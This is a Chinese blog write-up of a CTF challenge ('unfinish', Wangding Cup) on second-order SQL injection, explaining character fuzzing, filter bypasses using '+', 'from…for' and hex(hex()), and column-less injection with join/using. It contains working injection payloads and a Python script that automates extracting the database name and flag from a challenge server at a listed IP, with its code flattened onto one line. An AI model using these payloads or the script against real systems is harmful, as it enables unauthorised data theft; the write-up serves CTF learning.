当前位置: 首页 > news >正文

unfinish ctf 网鼎杯二次注入 无列名注入join-using

目录

unfinish ctf 网鼎杯二次注入 

1、首先需要注册用户

2、正常登录自己的用户 结果发现数据回显 用户名  那这样我们就可以使用二次注入来解决问题

3、我们尝试注入一次试试会不会回显数据

所以我们开始注入

1、逗号 "," 被过滤 就不能通过ascii 来爆出数据库名称 (我们可以用from for 替换)

2、这样的方法可以把数据爆出来,但是太麻烦,用16进制将所有字母转换成数字 遇到中间有字母的(会被截断)

3、但是 数据一但长了,就会显示科学计数法,将字符串截取被转换的前十位 截取一部分转换16进制

4,接下来通过爬虫的方式,将数据整出来

无列名注入join-using 


unfinish ctf 网鼎杯二次注入 

BUUCTF在线评测

找到之后我们就可以开始了

1、首先需要注册用户

绕过一些字符 一个一个试很麻烦,需要整理一些字符 (可以去 fuzz字典 查看)

bp的爆破模块 200 是被过滤的 所以说information ,也被过滤掉了

我们通过awvs扫描得知存在 register.php 注册页面

2、正常登录自己的用户 结果发现数据回显 用户名  那这样我们就可以使用二次注入来解决问题

3、我们尝试注入一次试试会不会回显数据

很明显数据回显 二次注入

所以我们开始注入

我们不知道什么符号过滤了(绕过一些字符 一个一个试很麻烦,需要整理一些字符 (可以去 fuzz字典 查看))

通过bp软件扫描一下 (我们发现200 过滤了 ,#)

‘#’被过滤很麻烦,因为sql注入 后面需要注释一些字符

想到 mysql ‘+’可以当作数学里的加号来使用 那么就有了解决问题的办法

select '1' + '0' 

通过 + 来 连接 asc码来报出数据库名

1、逗号 "," 被过滤 就不能通过ascii 来爆出数据库名称 (我们可以用from for 替换)

0' + ascii(substr(database()from 1 for 1)) + '0

119转义对应的w 

成功回显管理员第一个字母w,当然后面可以多次注入,最后拼接数据库名为web,表名我们直接就猜flag了,当然你也可以通过mysql默认的sys去进行注入出来因为information被禁用了

2、这样的方法可以把数据爆出来,但是太麻烦,用16进制将所有字母转换成数字 遇到中间有字母的(会被截断)

        比如说 flag 转义是 666c6167

        但是一加之后就只会显示出666 这条数据

        所以需要hex(hex())这样就不会出现字母截断的效果了

        

3、但是 数据一但长了,就会显示科学计数法,将字符串截取被转换的前十位 截取一部分转换16进制

4,接下来通过爬虫的方式,将数据整出来

import requests
import time
from bs4 import BeautifulSoup       #html解析器def getDatabase():database = ''for i in range(10):data_database = {'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",'password':'admin',"email":"admin11@admin.com"+str(i)}#注册requests.post("http://220.249.52.133:36774/register.php",data_database)login_data={'password':'admin',"email":"admin11@admin.com"+str(i)}response=requests.post("http://220.249.52.133:36774/login.php",login_data)html=response.text                  #返回的页面soup=BeautifulSoup(html,'html.parser')getUsername=soup.find_all('span')[0]#获取用户名username=getUsername.textif int(username)==0:breakdatabase+=chr(int(username))return databasedef getFlag():flag = ''for i in range(40):data_flag = {'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",'password':'admin',"email":"admin32@admin.com"+str(i)}#注册requests.post("http://220.249.52.133:36774/register.php",data_flag)login_data={'password':'admin',"email":"admin32@admin.com"+str(i)}response=requests.post("http://220.249.52.133:36774/login.php",login_data)html=response.text                  #返回的页面soup=BeautifulSoup(html,'html.parser')getUsername=soup.find_all('span')[0]#获取用户名username=getUsername.textif int(username)==0:breakflag+=chr(int(username))return flagprint(getDatabase())
print(getFlag())

结束

无列名注入join-using 

当我们用sql注入的时候,information_schema 库里 tables 存放数据库所有的库 表 列 和一些基本信息

select table_name from information_schema.tables where table_schema='security';

我们就查到了security中的表

现在限制了information 过滤和忽略大小写  这样又怎么查你想要的表里面的数据呢

information被过滤掉之后,我们只能换方法,看看,其他库里还能不能拿到我们想要的数据

我们去看一看sys数据库

但是 里面并没有我们想要的结果 只有一些表的信息,没有列名的表

sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
musql.innodb_table_stats
mysql.innodb_table_index

所以我们只能找寻其他方法 无列明注入

无列明注入 join-using (as 是 起别名 using是排除id这列还有没有其他列名)

select * from (select * from users as a join users b) c;
select * from (select * from users as a join users b using(id)) c;
select * from (select * from users as a join users b using(id,username)) c;

但是在 php 7 版本之后出现 pdo 从底层解决 mysql注入威胁

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 无心剑七律《悼李政道先生》
  • 【方法】如何给7Z压缩包添加密码?
  • 大型语言模型入门
  • Linux中Samba服务配置和管理
  • SQL注入 报错注入、文件上传、布尔盲注、时间盲注
  • TortoiseSVN迁移到本地git
  • P2045 方格取数加强版
  • 人工智能时代,程序员当如何保持核心竞争力?
  • 通过代码学python——格式化变量
  • 当AIGC走进温室大棚:AI+“种菜“的前世今生
  • ACl访问控制实验
  • Ceres Cuda加速
  • 【你也能从零基础学会网站开发】SQL Server 2000中的数据类型之String字符串类型
  • Java:基础语法
  • javascript 的奇技巧淫一
  • CEF与代理
  • django开发-定时任务的使用
  • Gradle 5.0 正式版发布
  • js继承的实现方法
  • Node 版本管理
  • node 版本过低
  • Odoo domain写法及运用
  • puppeteer stop redirect 的正确姿势及 net::ERR_FAILED 的解决
  • React Native移动开发实战-3-实现页面间的数据传递
  • Redis中的lru算法实现
  • Spring框架之我见(三)——IOC、AOP
  • 后端_ThinkPHP5
  • 前端相关框架总和
  • 深度学习入门:10门免费线上课程推荐
  • 为物联网而生:高性能时间序列数据库HiTSDB商业化首发!
  • 延迟脚本的方式
  • - 语言经验 - 《c++的高性能内存管理库tcmalloc和jemalloc》
  • 湖北分布式智能数据采集方法有哪些?
  • ​​​​​​​sokit v1.3抓手机应用socket数据包: Socket是传输控制层协议,WebSocket是应用层协议。
  • ​Java基础复习笔记 第16章:网络编程
  • # Redis 入门到精通(九)-- 主从复制(1)
  • ### RabbitMQ五种工作模式:
  • #Linux(权限管理)
  • #QT(一种朴素的计算器实现方法)
  • (175)FPGA门控时钟技术
  • (DFS + 剪枝)【洛谷P1731】 [NOI1999] 生日蛋糕
  • (笔记)Kotlin——Android封装ViewBinding之二 优化
  • (七)Knockout 创建自定义绑定
  • (转) Face-Resources
  • (转)淘淘商城系列——使用Spring来管理Redis单机版和集群版
  • (转载)CentOS查看系统信息|CentOS查看命令
  • 、写入Shellcode到注册表上线
  • .cfg\.dat\.mak(持续补充)
  • .net framework 4.0中如何 输出 form 的name属性。
  • .net6+aspose.words导出word并转pdf
  • .net分布式压力测试工具(Beetle.DT)
  • .net最好用的JSON类Newtonsoft.Json获取多级数据SelectToken
  • :“Failed to access IIS metabase”解决方法
  • :中兴通讯为何成功
  • @SuppressWarnings(unchecked)代码的作用